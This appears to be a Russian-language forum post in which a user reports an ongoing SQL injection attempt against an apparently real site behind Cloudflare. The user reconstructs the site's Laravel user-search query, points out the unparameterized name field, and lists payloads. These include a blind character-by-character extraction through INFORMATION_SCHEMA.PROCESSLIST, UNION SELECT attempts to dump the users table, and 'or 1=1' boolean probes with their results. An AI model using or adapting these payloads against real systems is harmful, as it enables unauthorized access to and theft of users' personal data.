Показать сообщение отдельно

  #6  
Старый 18.05.2020, 14:27
FireRidlle
Новичок
Регистрация: 07.07.2009
Сообщений: 2
Провел на форуме:
16896

Репутация: 0
По умолчанию

Цитата:
Сообщение от crlf  

Простое произведение, при котором получается отрицательное значение
Запрос может быть сложный, многострочный, результат уходить в другой запрос, но при этом фильтроваться корректно и т.д. и т.п. Чтоб не гадать на кофейной гуще, можно считать текущий запрос посимвольно, как-то так:
Код:
SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%123%"
нашел способ быстро крутить запрос по символам

Код:
sdfsdf") or id=(select INSTR(' !"#`$%&()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', (SELECT SUBSTRING(INFO,1,1) FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE "%selfquery%"))) or ("qwerty
мб кому то будет полезно))

нашел запрос (ps: все записал в апперкейсе так как INSTR caseinsensetive и не стал парится по этому поводу)

Код:
SELECT
    `USERS`.*,
    (
    SELECT COUNT(*) FROM `USERS` AS `LARAVEL_RESERVED_0`
        WHERE `USERS`.`ID` = `LARAVEL_RESERVED_0`.`REFERRER_ID` AND`LARAVEL_RESERVED_0`.`DELETED_AT` IS NULL
    ) AS `REFERRALS_COUNT`
    FROM `USERS`
    WHERE `REFERRER_ID` = ?  AND(
            `EMAIL` LIKE ? OR `IP` LIKE ?
OR CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) LIKE "%{INJECTION_HERE}%" OR `id`= ?) AND `USERS`.`DELETED_AT` IS NULL  ORDER BY  `ID` DESC LIMIT 20 OFFSET 0
вместо всех вопросов подставляется $_GET['search'] кроме `REFERRER_ID` = ?

но уязвивымый только CONCAT_WS('', LAST_NAME, '', NAME, '', MIDDLE_NAME) так как он идет в обход prepard statement

если там многострочный запрос, то думаю так обходить

Код:
notfound") union select *, 134 as 'referrals_count' from users where id=1 or (name="
снова ошибка....хотя локально воспроизвел и все ок

и не могу понять почему `notfound") union select 1 from users where id=1 or (name="` ошибок нет. но если убрать notfound то ошибка

сайт под cloudflare. мб как то фильтрует

количество колонок в таблице users = 36. +1 за REFERRALS_COUNT

попробовал union select 1,2,....37 ---

ошибка(

еще немного инфы

Код:
") or 1=1 limit 10 offset 0 -- -
возвращает первые 10

Код:
") or 1=1 limit 10 offset 1 -- -
ничего не возвращает

Код:
") or id=(select count(*) from users where id in (1,2,3,4) limit 1)  -- -
выводит запись под id=4. как так? мозг кипит...
 
Ответить с цитированием